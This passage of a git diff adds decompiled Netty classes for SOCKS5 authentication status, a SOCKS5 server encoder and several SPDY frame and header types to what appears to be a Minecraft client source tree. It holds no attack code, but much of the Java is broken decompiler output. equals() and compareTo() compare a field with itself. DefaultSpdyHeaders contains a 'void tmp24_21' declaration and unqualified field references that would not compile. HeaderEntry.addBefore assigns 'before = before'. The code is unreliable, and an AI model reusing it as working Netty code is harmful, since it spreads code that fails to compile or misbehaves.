+  public static final Socks5PasswordAuthStatus FAILURE = new Socks5PasswordAuthStatus(255, "FAILURE");
+  private final byte byteValue;
+  
+  public static Socks5PasswordAuthStatus valueOf(byte b) { switch (b) {
+    case 0: 
+      return SUCCESS;
+    case -1: 
+      return FAILURE;
+    }
+    
+    return new Socks5PasswordAuthStatus(b);
+  }
+  
+
+  private final String name;
+  private String text;
+  public Socks5PasswordAuthStatus(int byteValue)
+  {
+    this(byteValue, "UNKNOWN");
+  }
+  
+  public Socks5PasswordAuthStatus(int byteValue, String name) {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    this.byteValue = ((byte)byteValue);
+    this.name = name;
+  }
+  
+  public byte byteValue() {
+    return byteValue;
+  }
+  
+  public boolean isSuccess() {
+    return byteValue == 0;
+  }
+  
+  public int hashCode()
+  {
+    return byteValue;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (!(obj instanceof Socks5PasswordAuthStatus)) {
+      return false;
+    }
+    
+    return byteValue == byteValue;
+  }
+  
+  public int compareTo(Socks5PasswordAuthStatus o)
+  {
+    return byteValue - byteValue;
+  }
+  
+  public String toString()
+  {
+    String text = this.text;
+    if (text == null) {
+      this.text = (text = name + '(' + (byteValue & 0xFF) + ')');
+    }
+    return text;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5ServerEncoder.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5ServerEncoder.java
new file mode 100644
index 0000000..3d37259
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5ServerEncoder.java
@@ -0,0 +1,95 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.EncoderException;
+import io.netty.handler.codec.MessageToByteEncoder;
+import io.netty.handler.codec.socksx.SocksVersion;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class Socks5ServerEncoder
+  extends MessageToByteEncoder<Socks5Message>
+{
+  public static final Socks5ServerEncoder DEFAULT = new Socks5ServerEncoder(Socks5AddressEncoder.DEFAULT);
+  
+
+  private final Socks5AddressEncoder addressEncoder;
+  
+
+  protected Socks5ServerEncoder()
+  {
+    this(Socks5AddressEncoder.DEFAULT);
+  }
+  
+
+
+  public Socks5ServerEncoder(Socks5AddressEncoder addressEncoder)
+  {
+    if (addressEncoder == null) {
+      throw new NullPointerException("addressEncoder");
+    }
+    
+    this.addressEncoder = addressEncoder;
+  }
+  
+
+
+  protected final Socks5AddressEncoder addressEncoder()
+  {
+    return addressEncoder;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, Socks5Message msg, ByteBuf out) throws Exception
+  {
+    if ((msg instanceof Socks5InitialResponse)) {
+      encodeAuthMethodResponse((Socks5InitialResponse)msg, out);
+    } else if ((msg instanceof Socks5PasswordAuthResponse)) {
+      encodePasswordAuthResponse((Socks5PasswordAuthResponse)msg, out);
+    } else if ((msg instanceof Socks5CommandResponse)) {
+      encodeCommandResponse((Socks5CommandResponse)msg, out);
+    } else {
+      throw new EncoderException("unsupported message type: " + StringUtil.simpleClassName(msg));
+    }
+  }
+  
+  private static void encodeAuthMethodResponse(Socks5InitialResponse msg, ByteBuf out) {
+    out.writeByte(msg.version().byteValue());
+    out.writeByte(msg.authMethod().byteValue());
+  }
+  
+  private static void encodePasswordAuthResponse(Socks5PasswordAuthResponse msg, ByteBuf out) {
+    out.writeByte(1);
+    out.writeByte(msg.status().byteValue());
+  }
+  
+  private void encodeCommandResponse(Socks5CommandResponse msg, ByteBuf out) throws Exception {
+    out.writeByte(msg.version().byteValue());
+    out.writeByte(msg.status().byteValue());
+    out.writeByte(0);
+    
+    Socks5AddressType bndAddrType = msg.bndAddrType();
+    out.writeByte(bndAddrType.byteValue());
+    addressEncoder.encodeAddress(bndAddrType, msg.bndAddr(), out);
+    
+    out.writeShort(msg.bndPort());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyDataFrame.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyDataFrame.java
new file mode 100644
index 0000000..c8667e7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyDataFrame.java
@@ -0,0 +1,141 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.IllegalReferenceCountException;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSpdyDataFrame
+  extends DefaultSpdyStreamFrame
+  implements SpdyDataFrame
+{
+  private final ByteBuf data;
+  
+  public DefaultSpdyDataFrame(int streamId)
+  {
+    this(streamId, Unpooled.buffer(0));
+  }
+  
+
+
+
+
+
+  public DefaultSpdyDataFrame(int streamId, ByteBuf data)
+  {
+    super(streamId);
+    if (data == null) {
+      throw new NullPointerException("data");
+    }
+    this.data = validate(data);
+  }
+  
+  private static ByteBuf validate(ByteBuf data) {
+    if (data.readableBytes() > 16777215) {
+      throw new IllegalArgumentException("data payload cannot exceed 16777215 bytes");
+    }
+    
+    return data;
+  }
+  
+  public SpdyDataFrame setStreamId(int streamId)
+  {
+    super.setStreamId(streamId);
+    return this;
+  }
+  
+  public SpdyDataFrame setLast(boolean last)
+  {
+    super.setLast(last);
+    return this;
+  }
+  
+  public ByteBuf content()
+  {
+    if (data.refCnt() <= 0) {
+      throw new IllegalReferenceCountException(data.refCnt());
+    }
+    return data;
+  }
+  
+  public SpdyDataFrame copy()
+  {
+    SpdyDataFrame frame = new DefaultSpdyDataFrame(streamId(), content().copy());
+    frame.setLast(isLast());
+    return frame;
+  }
+  
+  public SpdyDataFrame duplicate()
+  {
+    SpdyDataFrame frame = new DefaultSpdyDataFrame(streamId(), content().duplicate());
+    frame.setLast(isLast());
+    return frame;
+  }
+  
+  public int refCnt()
+  {
+    return data.refCnt();
+  }
+  
+  public SpdyDataFrame retain()
+  {
+    data.retain();
+    return this;
+  }
+  
+  public SpdyDataFrame retain(int increment)
+  {
+    data.retain(increment);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return data.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return data.release(decrement);
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append("(last: ");
+    buf.append(isLast());
+    buf.append(')');
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Stream-ID = ");
+    buf.append(streamId());
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Size = ");
+    if (refCnt() == 0) {
+      buf.append("(freed)");
+    } else {
+      buf.append(content().readableBytes());
+    }
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyGoAwayFrame.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyGoAwayFrame.java
new file mode 100644
index 0000000..13e2780
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyGoAwayFrame.java
@@ -0,0 +1,96 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSpdyGoAwayFrame
+  implements SpdyGoAwayFrame
+{
+  private int lastGoodStreamId;
+  private SpdySessionStatus status;
+  
+  public DefaultSpdyGoAwayFrame(int lastGoodStreamId)
+  {
+    this(lastGoodStreamId, 0);
+  }
+  
+
+
+
+
+
+  public DefaultSpdyGoAwayFrame(int lastGoodStreamId, int statusCode)
+  {
+    this(lastGoodStreamId, SpdySessionStatus.valueOf(statusCode));
+  }
+  
+
+
+
+
+
+  public DefaultSpdyGoAwayFrame(int lastGoodStreamId, SpdySessionStatus status)
+  {
+    setLastGoodStreamId(lastGoodStreamId);
+    setStatus(status);
+  }
+  
+  public int lastGoodStreamId()
+  {
+    return lastGoodStreamId;
+  }
+  
+  public SpdyGoAwayFrame setLastGoodStreamId(int lastGoodStreamId)
+  {
+    if (lastGoodStreamId < 0) {
+      throw new IllegalArgumentException("Last-good-stream-ID cannot be negative: " + lastGoodStreamId);
+    }
+    
+    this.lastGoodStreamId = lastGoodStreamId;
+    return this;
+  }
+  
+  public SpdySessionStatus status()
+  {
+    return status;
+  }
+  
+  public SpdyGoAwayFrame setStatus(SpdySessionStatus status)
+  {
+    this.status = status;
+    return this;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Last-good-stream-ID = ");
+    buf.append(lastGoodStreamId());
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Status: ");
+    buf.append(status());
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyHeaders.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyHeaders.java
new file mode 100644
index 0000000..1795014
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyHeaders.java
@@ -0,0 +1,379 @@
+package io.netty.handler.codec.spdy;
+
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSpdyHeaders
+  extends SpdyHeaders
+{
+  private static final int BUCKET_SIZE = 17;
+  
+  private static int hash(String name)
+  {
+    int h = 0;
+    for (int i = name.length() - 1; i >= 0; i--) {
+      char c = name.charAt(i);
+      if ((c >= 'A') && (c <= 'Z')) {
+        c = (char)(c + ' ');
+      }
+      h = 31 * h + c;
+    }
+    
+    if (h > 0)
+      return h;
+    if (h == Integer.MIN_VALUE) {
+      return Integer.MAX_VALUE;
+    }
+    return -h;
+  }
+  
+  private static boolean eq(String name1, String name2)
+  {
+    int nameLen = name1.length();
+    if (nameLen != name2.length()) {
+      return false;
+    }
+    
+    for (int i = nameLen - 1; i >= 0; i--) {
+      char c1 = name1.charAt(i);
+      char c2 = name2.charAt(i);
+      if (c1 != c2) {
+        if ((c1 >= 'A') && (c1 <= 'Z')) {
+          c1 = (char)(c1 + ' ');
+        }
+        if ((c2 >= 'A') && (c2 <= 'Z')) {
+          c2 = (char)(c2 + ' ');
+        }
+        if (c1 != c2) {
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+  private static int index(int hash) {
+    return hash % 17;
+  }
+  
+  private final HeaderEntry[] entries = new HeaderEntry[17];
+  private final HeaderEntry head = new HeaderEntry(-1, null, null);
+  
+  DefaultSpdyHeaders() {
+    head.before = (head.after = head);
+  }
+  
+  public SpdyHeaders add(String name, Object value)
+  {
+    String lowerCaseName = name.toLowerCase();
+    SpdyCodecUtil.validateHeaderName(lowerCaseName);
+    String strVal = toString(value);
+    SpdyCodecUtil.validateHeaderValue(strVal);
+    int h = hash(lowerCaseName);
+    int i = index(h);
+    add0(h, i, lowerCaseName, strVal);
+    return this;
+  }
+  
+  private void add0(int h, int i, String name, String value)
+  {
+    HeaderEntry e = entries[i]; void 
+    
+      tmp24_21 = new HeaderEntry(h, name, value);HeaderEntry newEntry = tmp24_21;entries[i] = tmp24_21;
+    next = e;
+    
+
+    newEntry.addBefore(head);
+  }
+  
+  public SpdyHeaders remove(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    String lowerCaseName = name.toLowerCase();
+    int h = hash(lowerCaseName);
+    int i = index(h);
+    remove0(h, i, lowerCaseName);
+    return this;
+  }
+  
+  private void remove0(int h, int i, String name) {
+    HeaderEntry e = entries[i];
+    if (e == null) {
+      return;
+    }
+    
+
+    while ((hash == h) && (eq(name, key))) {
+      e.remove();
+      HeaderEntry next = next;
+      if (next != null) {
+        entries[i] = next;
+        e = next;
+      } else {
+        entries[i] = null; return;
+      }
+    }
+    
+
+
+
+    for (;;)
+    {
+      HeaderEntry next = next;
+      if (next == null) {
+        break;
+      }
+      if ((hash == h) && (eq(name, key))) {
+        next = next;
+        next.remove();
+      } else {
+        e = next;
+      }
+    }
+  }
+  
+  public SpdyHeaders set(String name, Object value)
+  {
+    String lowerCaseName = name.toLowerCase();
+    SpdyCodecUtil.validateHeaderName(lowerCaseName);
+    String strVal = toString(value);
+    SpdyCodecUtil.validateHeaderValue(strVal);
+    int h = hash(lowerCaseName);
+    int i = index(h);
+    remove0(h, i, lowerCaseName);
+    add0(h, i, lowerCaseName, strVal);
+    return this;
+  }
+  
+  public SpdyHeaders set(String name, Iterable<?> values)
+  {
+    if (values == null) {
+      throw new NullPointerException("values");
+    }
+    
+    String lowerCaseName = name.toLowerCase();
+    SpdyCodecUtil.validateHeaderName(lowerCaseName);
+    
+    int h = hash(lowerCaseName);
+    int i = index(h);
+    
+    remove0(h, i, lowerCaseName);
+    for (Object v : values) {
+      if (v == null) {
+        break;
+      }
+      String strVal = toString(v);
+      SpdyCodecUtil.validateHeaderValue(strVal);
+      add0(h, i, lowerCaseName, strVal);
+    }
+    return this;
+  }
+  
+  public SpdyHeaders clear()
+  {
+    for (int i = 0; i < entries.length; i++) {
+      entries[i] = null;
+    }
+    head.before = (head.after = head);
+    return this;
+  }
+  
+  public String get(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    int h = hash(name);
+    int i = index(h);
+    HeaderEntry e = entries[i];
+    while (e != null) {
+      if ((hash == h) && (eq(name, key))) {
+        return value;
+      }
+      
+      e = next;
+    }
+    return null;
+  }
+  
+  public List<String> getAll(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    LinkedList<String> values = new LinkedList();
+    
+    int h = hash(name);
+    int i = index(h);
+    HeaderEntry e = entries[i];
+    while (e != null) {
+      if ((hash == h) && (eq(name, key))) {
+        values.addFirst(value);
+      }
+      e = next;
+    }
+    return values;
+  }
+  
+  public List<Map.Entry<String, String>> entries()
+  {
+    List<Map.Entry<String, String>> all = new LinkedList();
+    
+
+    HeaderEntry e = head.after;
+    while (e != head) {
+      all.add(e);
+      e = after;
+    }
+    return all;
+  }
+  
+  public Iterator<Map.Entry<String, String>> iterator()
+  {
+    return new HeaderIterator(null);
+  }
+  
+  public boolean contains(String name)
+  {
+    return get(name) != null;
+  }
+  
+  public Set<String> names()
+  {
+    Set<String> names = new TreeSet();
+    
+    HeaderEntry e = head.after;
+    while (e != head) {
+      names.add(key);
+      e = after;
+    }
+    return names;
+  }
+  
+  public SpdyHeaders add(String name, Iterable<?> values)
+  {
+    SpdyCodecUtil.validateHeaderValue(name);
+    int h = hash(name);
+    int i = index(h);
+    for (Object v : values) {
+      String vstr = toString(v);
+      SpdyCodecUtil.validateHeaderValue(vstr);
+      add0(h, i, name, vstr);
+    }
+    return this;
+  }
+  
+  public boolean isEmpty()
+  {
+    return head == head.after;
+  }
+  
+  private static String toString(Object value) {
+    if (value == null) {
+      return null;
+    }
+    return value.toString();
+  }
+  
+  private final class HeaderIterator implements Iterator<Map.Entry<String, String>>
+  {
+    private DefaultSpdyHeaders.HeaderEntry current = head;
+    
+    private HeaderIterator() {}
+    
+    public boolean hasNext() { return current.after != head; }
+    
+
+    public Map.Entry<String, String> next()
+    {
+      current = current.after;
+      
+      if (current == head) {
+        throw new NoSuchElementException();
+      }
+      
+      return current;
+    }
+    
+
+
+    public void remove() { throw new UnsupportedOperationException(); }
+  }
+  
+  private static final class HeaderEntry implements Map.Entry<String, String> {
+    final int hash;
+    final String key;
+    String value;
+    HeaderEntry next;
+    HeaderEntry before;
+    HeaderEntry after;
+    
+    HeaderEntry(int hash, String key, String value) {
+      this.hash = hash;
+      this.key = key;
+      this.value = value;
+    }
+    
+    void remove() {
+      before.after = after;
+      after.before = before;
+    }
+    
+    void addBefore(HeaderEntry e) {
+      after = e;
+      before = before;
+      before.after = this;
+      after.before = this;
+    }
+    
+    public String getKey()
+    {
+      return key;
+    }
+    
+    public String getValue()
+    {
+      return value;
+    }
+    
+    public String setValue(String value)
+    {
+      if (value == null) {
+        throw new NullPointerException("value");
+      }
+      SpdyCodecUtil.validateHeaderValue(value);
+      String oldValue = this.value;
+      this.value = value;
+      return oldValue;
+    }
+    
+    public String toString()
+    {
+      return key + '=' + value;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyHeadersFrame.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyHeadersFrame.java
new file mode 100644
index 0000000..ad08faa
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyHeadersFrame.java
@@ -0,0 +1,109 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.util.internal.StringUtil;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSpdyHeadersFrame
+  extends DefaultSpdyStreamFrame
+  implements SpdyHeadersFrame
+{
+  private boolean invalid;
+  private boolean truncated;
+  private final SpdyHeaders headers = new DefaultSpdyHeaders();
+  
+
+
+
+
+  public DefaultSpdyHeadersFrame(int streamId)
+  {
+    super(streamId);
+  }
+  
+  public SpdyHeadersFrame setStreamId(int streamId)
+  {
+    super.setStreamId(streamId);
+    return this;
+  }
+  
+  public SpdyHeadersFrame setLast(boolean last)
+  {
+    super.setLast(last);
+    return this;
+  }
+  
+  public boolean isInvalid()
+  {
+    return invalid;
+  }
+  
+  public SpdyHeadersFrame setInvalid()
+  {
+    invalid = true;
+    return this;
+  }
+  
+  public boolean isTruncated()
+  {
+    return truncated;
+  }
+  
+  public SpdyHeadersFrame setTruncated()
+  {
+    truncated = true;
+    return this;
+  }
+  
+  public SpdyHeaders headers()
+  {
+    return headers;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append("(last: ");
+    buf.append(isLast());
+    buf.append(')');
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Stream-ID = ");
+    buf.append(streamId());
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Headers:");
+    buf.append(StringUtil.NEWLINE);
+    appendHeaders(buf);
+    
+
+    buf.setLength(buf.length() - StringUtil.NEWLINE.length());
+    return buf.toString();
+  }
+  
+  protected void appendHeaders(StringBuilder buf) {
+    for (Map.Entry<String, String> e : headers()) {
+      buf.append("    ");
+      buf.append((String)e.getKey());
+      buf.append(": ");
+      buf.append((String)e.getValue());
+      buf.append(StringUtil.NEWLINE);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyPingFrame.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyPingFrame.java
new file mode 100644
index 0000000..8d8ab2d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyPingFrame.java
@@ -0,0 +1,56 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSpdyPingFrame
+  implements SpdyPingFrame
+{
+  private int id;
+  
+  public DefaultSpdyPingFrame(int id)
+  {
+    setId(id);
+  }
+  
+  public int id()
+  {
+    return id;
+  }
+  
+  public SpdyPingFrame setId(int id)
+  {
+    this.id = id;
+    return this;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> ID = ");
+    buf.append(id());
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyRstStreamFrame.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyRstStreamFrame.java
new file mode 100644
index 0000000..86af194
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyRstStreamFrame.java
@@ -0,0 +1,84 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSpdyRstStreamFrame
+  extends DefaultSpdyStreamFrame
+  implements SpdyRstStreamFrame
+{
+  private SpdyStreamStatus status;
+  
+  public DefaultSpdyRstStreamFrame(int streamId, int statusCode)
+  {
+    this(streamId, SpdyStreamStatus.valueOf(statusCode));
+  }
+  
+
+
+
+
+
+  public DefaultSpdyRstStreamFrame(int streamId, SpdyStreamStatus status)
+  {
+    super(streamId);
+    setStatus(status);
+  }
+  
+  public SpdyRstStreamFrame setStreamId(int streamId)
+  {
+    super.setStreamId(streamId);
+    return this;
+  }
+  
+  public SpdyRstStreamFrame setLast(boolean last)
+  {
+    super.setLast(last);
+    return this;
+  }
+  
+  public SpdyStreamStatus status()
+  {
+    return status;
+  }
+  
+  public SpdyRstStreamFrame setStatus(SpdyStreamStatus status)
+  {
+    this.status = status;
+    return this;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Stream-ID = ");
+    buf.append(streamId());
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Status: ");
+    buf.append(status());
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdySettingsFrame.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdySettingsFrame.java
new file mode 100644
index 0000000..ef146cc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdySettingsFrame.java
@@ -0,0 +1,199 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.util.internal.StringUtil;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSpdySettingsFrame
+  implements SpdySettingsFrame
+{
+  private boolean clear;
+  private final Map<Integer, Setting> settingsMap;
+  
+  public DefaultSpdySettingsFrame()
+  {
+    settingsMap = new TreeMap();
+  }
+  
+  public Set<Integer> ids() {
+    return settingsMap.keySet();
+  }
+  
+  public boolean isSet(int id)
+  {
+    Integer key = Integer.valueOf(id);
+    return settingsMap.containsKey(key);
+  }
+  
+  public int getValue(int id)
+  {
+    Integer key = Integer.valueOf(id);
+    if (settingsMap.containsKey(key)) {
+      return ((Setting)settingsMap.get(key)).getValue();
+    }
+    return -1;
+  }
+  
+
+  public SpdySettingsFrame setValue(int id, int value)
+  {
+    return setValue(id, value, false, false);
+  }
+  
+  public SpdySettingsFrame setValue(int id, int value, boolean persistValue, boolean persisted)
+  {
+    if ((id < 0) || (id > 16777215)) {
+      throw new IllegalArgumentException("Setting ID is not valid: " + id);
+    }
+    Integer key = Integer.valueOf(id);
+    if (settingsMap.containsKey(key)) {
+      Setting setting = (Setting)settingsMap.get(key);
+      setting.setValue(value);
+      setting.setPersist(persistValue);
+      setting.setPersisted(persisted);
+    } else {
+      settingsMap.put(key, new Setting(value, persistValue, persisted));
+    }
+    return this;
+  }
+  
+  public SpdySettingsFrame removeValue(int id)
+  {
+    Integer key = Integer.valueOf(id);
+    if (settingsMap.containsKey(key)) {
+      settingsMap.remove(key);
+    }
+    return this;
+  }
+  
+  public boolean isPersistValue(int id)
+  {
+    Integer key = Integer.valueOf(id);
+    if (settingsMap.containsKey(key)) {
+      return ((Setting)settingsMap.get(key)).isPersist();
+    }
+    return false;
+  }
+  
+
+  public SpdySettingsFrame setPersistValue(int id, boolean persistValue)
+  {
+    Integer key = Integer.valueOf(id);
+    if (settingsMap.containsKey(key)) {
+      ((Setting)settingsMap.get(key)).setPersist(persistValue);
+    }
+    return this;
+  }
+  
+  public boolean isPersisted(int id)
+  {
+    Integer key = Integer.valueOf(id);
+    if (settingsMap.containsKey(key)) {
+      return ((Setting)settingsMap.get(key)).isPersisted();
+    }
+    return false;
+  }
+  
+
+  public SpdySettingsFrame setPersisted(int id, boolean persisted)
+  {
+    Integer key = Integer.valueOf(id);
+    if (settingsMap.containsKey(key)) {
+      ((Setting)settingsMap.get(key)).setPersisted(persisted);
+    }
+    return this;
+  }
+  
+  public boolean clearPreviouslyPersistedSettings()
+  {
+    return clear;
+  }
+  
+  public SpdySettingsFrame setClearPreviouslyPersistedSettings(boolean clear)
+  {
+    this.clear = clear;
+    return this;
+  }
+  
+  private Set<Map.Entry<Integer, Setting>> getSettings() {
+    return settingsMap.entrySet();
+  }
+  
+  private void appendSettings(StringBuilder buf) {
+    for (Map.Entry<Integer, Setting> e : getSettings()) {
+      Setting setting = (Setting)e.getValue();
+      buf.append("--> ");
+      buf.append(e.getKey());
+      buf.append(':');
+      buf.append(setting.getValue());
+      buf.append(" (persist value: ");
+      buf.append(setting.isPersist());
+      buf.append("; persisted: ");
+      buf.append(setting.isPersisted());
+      buf.append(')');
+      buf.append(StringUtil.NEWLINE);
+    }
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append(StringUtil.NEWLINE);
+    appendSettings(buf);
+    buf.setLength(buf.length() - StringUtil.NEWLINE.length());
+    return buf.toString();
+  }
+  
+  private static final class Setting
+  {
+    private int value;
+    private boolean persist;
+    private boolean persisted;
+    
+    Setting(int value, boolean persist, boolean persisted) {
+      this.value = value;
+      this.persist = persist;
+      this.persisted = persisted;
+    }
+    
+    int getValue() {
+      return value;
+    }
+    
+    void setValue(int value) {
+      this.value = value;
+    }
+    
+    boolean isPersist() {
+      return persist;
+    }
+    
+    void setPersist(boolean persist) {
+      this.persist = persist;
+    }
+    
+    boolean isPersisted() {
+      return persisted;
+    }
+    
+    void setPersisted(boolean persisted) {
+      this.persisted = persisted;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyStreamFrame.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyStreamFrame.java
new file mode 100644
index 0000000..9a3f28b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdyStreamFrame.java
@@ -0,0 +1,60 @@
+package io.netty.handler.codec.spdy;
+
+
+
+
+
+
+
+
+public abstract class DefaultSpdyStreamFrame
+  implements SpdyStreamFrame
+{
+  private int streamId;
+  
+
+
+
+
+
+
+  private boolean last;
+  
+
+
+
+
+
+
+
+  protected DefaultSpdyStreamFrame(int streamId)
+  {
+    setStreamId(streamId);
+  }
+  
+  public int streamId()
+  {
+    return streamId;
+  }
+  
+  public SpdyStreamFrame setStreamId(int streamId)
+  {
+    if (streamId <= 0) {
+      throw new IllegalArgumentException("Stream-ID must be positive: " + streamId);
+    }
+    
+    this.streamId = streamId;
+    return this;
+  }
+  
+  public boolean isLast()
+  {
+    return last;
+  }
+  
+  public SpdyStreamFrame setLast(boolean last)
+  {
+    this.last = last;
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdySynReplyFrame.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdySynReplyFrame.java
new file mode 100644
index 0000000..75be9bd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdySynReplyFrame.java
@@ -0,0 +1,72 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSpdySynReplyFrame
+  extends DefaultSpdyHeadersFrame
+  implements SpdySynReplyFrame
+{
+  public DefaultSpdySynReplyFrame(int streamId)
+  {
+    super(streamId);
+  }
+  
+  public SpdySynReplyFrame setStreamId(int streamId)
+  {
+    super.setStreamId(streamId);
+    return this;
+  }
+  
+  public SpdySynReplyFrame setLast(boolean last)
+  {
+    super.setLast(last);
+    return this;
+  }
+  
+  public SpdySynReplyFrame setInvalid()
+  {
+    super.setInvalid();
+    return this;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append("(last: ");
+    buf.append(isLast());
+    buf.append(')');
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Stream-ID = ");
+    buf.append(streamId());
+    buf.append(StringUtil.NEWLINE);
+    buf.append("--> Headers:");
+    buf.append(StringUtil.NEWLINE);
+    appendHeaders(buf);
+    
+
+    buf.setLength(buf.length() - StringUtil.NEWLINE.length());
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdySynStreamFrame.java b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdySynStreamFrame.java
new file mode 100644
index 0000000..2f35fc3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/DefaultSpdySynStreamFrame.java
@@ -0,0 +1,132 @@
+package io.netty.handler.codec.spdy;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSpdySynStreamFrame
+  extends DefaultSpdyHeadersFrame
+  implements SpdySynStreamFrame
+{
+  private int associatedStreamId;
+  private byte priority;
+  private boolean unidirectional;
+  
+  public DefaultSpdySynStreamFrame(int streamId, int associatedStreamId, byte priority)
+  {
+    super(streamId);
+    setAssociatedStreamId(associatedStreamId);
+    setPriority(priority);
+  }
+  
+  public SpdySynStreamFrame setStreamId(int streamId)
+  {
+    super.setStreamId(streamId);
+    return this;
+  }
+  
+  public SpdySynStreamFrame setLast(boolean last)
